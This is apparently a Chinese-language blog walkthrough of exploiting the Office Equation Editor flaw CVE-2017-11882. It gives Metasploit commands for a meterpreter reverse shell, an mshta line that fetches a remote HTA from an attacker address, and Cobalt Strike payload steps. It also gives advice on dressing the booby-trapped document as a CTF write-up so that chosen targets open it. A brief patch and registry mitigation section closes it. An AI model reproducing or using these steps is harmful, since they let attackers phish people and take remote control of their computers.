在某个群看到有人在玩,就复现了下!!!

前言:

红帽杯结束的隔一天,在一个群里看到某人发了个名为”红帽杯wp”的文档.由于我最近在研究xxe,题目中刚好有个xxe的题目,所以就下载了看看.刚下载完火绒就弹出告警,我瞬间想到了 “嘀嘀嘀,主机已上线”.一会才知道这是利用了CVE-2017-11882漏洞.于是打算复现一波

图片

漏洞概述:

     2017年11月,微软在例行系统补丁发布中,修复了一个Office远程代码执行的严重漏洞,编号CVE-2017-11882。该漏洞类型为缓冲区溢出,位为EQNEDT32.EXE组件。受害用户打开恶意的office文档时,无需交互,就可能执行恶意代码。

     据悉,这个组件是由Design Science Inc.开发的,后来由微软收购。该组件于2001年编译嵌入office,之后没有任何进一步的修改。所以该漏洞已存在17年之久。

      EQNEDT32.EXE是用于在文档中插入和编辑方程式。插入到文档中的任何公式都是OLE对象。该组件是在OLE技术规范下设计的。首发于Microsoft Office 2000和Microsoft 2003。从Microsoft Office 2007套件开始,显示和编辑方程的方法发生了变化,虽然EQNEDT32.EXE变得过时,不过,为了保持版本兼容性,它并没有从Office套件中删除。 

影响版本:

Office 365

  Microsoft Office 2000

  Microsoft Office 2003

  Microsoft Office 2007 Service Pack 3

 Microsoft Office 2010 Service Pack 2

  Microsoft Office 2013 Service Pack 1

  Microsoft Office 2016

漏洞复现:

验证漏洞:

(1) 利用GitHub上提供的脚本来生成利用文档(我们这里为了效果明显,弹个计算器)

图片

(2) 可以看到执行该脚本后会生成一个doc文档

图片

(3) 我们用存在漏洞版本的office打开我们刚刚生成的doc文档:

图片

可以看到我们一打开这个文档就会弹出计算器.

脚本地址:

https://raw.githubusercontent.com/backlion/demo/master/cve-2017-11882-v2.py

深度利用:

自定义文档内容,让别人看了对我们的文档怀疑更少些.让它在不知不觉的情况下上线!

利用原理:

利用触发器 WebClient 服务从攻击者控制的 WebDav 服务器启动和执行远程文件。

第一种: 通过msf自定义word内容复现

(1) 先下载msf中的利用模块:

wget https://raw.githubusercontent.com/backlion/demo/master/PS_shell.rb

(2) 拷贝ps_shell模块到msf对应的模块下(根据自己msf安装位置来复制):

cp  PS_shell.rb /usr/share/metasploit-framework/modules/exploits/windows/

(3) 启动msf并使用刚刚上传的脚本

Reload_all                 (加载我们刚刚添加的脚本)
use exploits/windows/PS_shell
Set payload windows/meterpreter/reverse_tcp
Set LHOST 192.168.1.12
Set URIPATH dd          (这里随意设置,是我们要加载远程马的名字)
exploit

此时msf会监听4444端口来接收反弹的shell并且开启一个web服务用来存放木马文件:

图片

可以看到它提示我们:

mshta.exe "http://192.168.1.223:8080/dd"

mshta是用来执行hta文件的,mshta不仅可以使用vbscript,而且可以使用javascript来执行命令.

(4) 创建自定义内容的文档:

a.先新建一个rtf文档:

图片

b.我们在文档里面编辑好内容(可以针对不同的人来构造),比如像在开头的那样,针对一群玩ctf的,就可以根据最近的比赛wp来编辑  这个自由发挥

图片

(5) 利用脚本将我们msf生成的payload注入到刚刚生成的rtf文档中:

图片

运行脚本后会生成一个doc文档:

图片

脚本来源:

https://raw.githubusercontent.com/backlion/demo/master/cve-2017-11882-v2.py

(6) 接下来我们模拟受害者打开该文档:

图片

可以看到文档可以正常显示,我们的msf也成功上线主机.

在实际利用中,我们可以针对要钓鱼的人群来设计不同内容的文档,诱惑其打开我们的钓鱼文档!

问题:

我们为什么要用mshta这个命令来执行payload:

这是一个缓冲区溢出漏洞, 这种类型的漏洞一般限制了 Payload 的对于功能比较齐全的 Payload 或是 RAT 基本上都会超出这个长度.
一般有两种缩小的方法, 使用 ShellCode注入或是远程加载.

mshta是windows系统自带的命令,而且mshta是用来执行hta文件的.

关于该问题的解答来自: https://exp10it.cn/#/posts/62

除了mshta,其他更多的利用方法大家可以参考这个文章:

https://evi1cg.me/archives/remote_exec.html

下面的脚本可以执行109字节的命令:

https://github.com/Ridter/CVE-2017-11882

第二种:利用cobaltstrike上线

(1) 先利用cobaltstrike生成一个hta马:

图片

接下来选择监听器(自己新建一个监听器,用来接收shell)

图片

这里一共有三种Method:

executable(生成可执行攻击脚本)

powershell (生成一个powershell的脚本)

VBA (生成一个vba的脚本,使用mshta命令执行)

a. 经测试发现executable类型的无法上线,它会提示

图片

继续运行仍无妨上线!!

b. VBA类型的也无法上线,它会报错:

图片

所以我们这里选择powershell类型的:

图片

选择Generate(生成),会让我们选择保存位置,此时我们的hta马就成功生成!

(2) 然后将我们的马放到我们的web服务器网站目录下或者直接在我们hta马的目录下利用python开启一个简易的HTTP服务:

图片

(3) 接下来的步骤跟第一种的一样,还是使用第一种的那个脚本将我们的cs生成的payload注入到文档中(这里就不重复了,具体操作可以参考”第一种”的4-5步)

图片

(4) 我们模拟受害者打开生成的文档:

图片

可以看到我们的机器已经上线!!!

漏洞防御:

(1) 下载更新补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 

开启Windows Update功能,定期对系统进行自动更新

(2) 由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。

按下Win+R组合键,打开cmd.exe

对应office版本修改以下注册表路径以后,输入:

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

参考链接:

https://evi1cg.me/archives/CVE_2017_11882_exp.html

https://www.t00ls.net/articles-43821.html

https://raw.githubusercontent.com/backlion/demo/master/cve-2017-11882-v2.py